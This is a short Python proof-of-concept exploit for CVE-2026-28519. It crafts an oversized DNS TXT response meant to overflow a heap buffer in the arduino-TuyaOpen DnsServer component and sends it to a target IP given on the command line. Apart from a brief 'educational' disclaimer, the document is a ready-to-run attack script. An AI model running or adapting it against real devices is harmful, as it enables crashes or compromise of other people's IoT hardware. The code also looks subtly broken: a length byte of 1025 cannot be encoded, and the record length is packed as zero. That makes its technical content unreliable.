CVE-2026-28519

#!/usr/bin/env python3 # CVE-2026-28519 PoC - Malicious DNS Response Generator # Target: arduino-TuyaOpen DnsServer Heap Buffer Overflow # Note: This PoC is for educational and security research purposes only import struct import socket import random def create_malicious_dns_response(transaction_id, target_domain): """ Create a malicious DNS response that triggers heap buffer overflow in arduino-TuyaOpen DnsServer component """ # DNS Header (12 bytes) dns_header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x8180, # Flags: Response, Authoritative, No error 1, # Questions: 1 1, # Answer RRs: 1 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # Query section - malformed to trigger overflow query = b'' for label in target_domain.split('.'): query += bytes([len(label)]) + label.encode() query += b'\x00' # End of domain name # Query type (TXT) and class (IN) query += struct.pack('>HH', 16, 1) # Answer section - crafted to cause heap overflow answer = b'\xc0\x0c' # Pointer to domain name in question answer += struct.pack('>HHIH', 16, 1, 300, 0) # TXT record header # Malicious payload to overflow heap buffer # This triggers the vulnerability by sending oversized data overflow_payload = b'A' * 1024 # Overflow data answer += bytes([len(overflow_payload) + 1]) + overflow_payload + b'\x00' return dns_header + query + answer def exploit_cve_2026_28519(target_ip, target_port=53, target_domain='device.local'): """ Send malicious DNS response to trigger heap buffer overflow Args: target_ip: IP address of the vulnerable device target_port: DNS port (default 53) target_domain: Domain name being queried """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) transaction_id = random.randint(0, 65535) malicious_response = create_malicious_dns_response(transaction_id, target_domain) try: sock.sendto(malicious_response, (target_ip, target_port)) print(f"[+] Malicious DNS response sent to {target_ip}:{target_port}") print(f"[+] Transaction ID: {hex(transaction_id)}") print(f"[+] Payload size: {len(malicious_response)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [domain]") print("Example: python3 poc.py 192.168.1.100 device.local") sys.exit(1) target = sys.argv[1] domain = sys.argv[2] if len(sys.argv) > 2 else 'device.local' exploit_cve_2026_28519(target, 53, domain)

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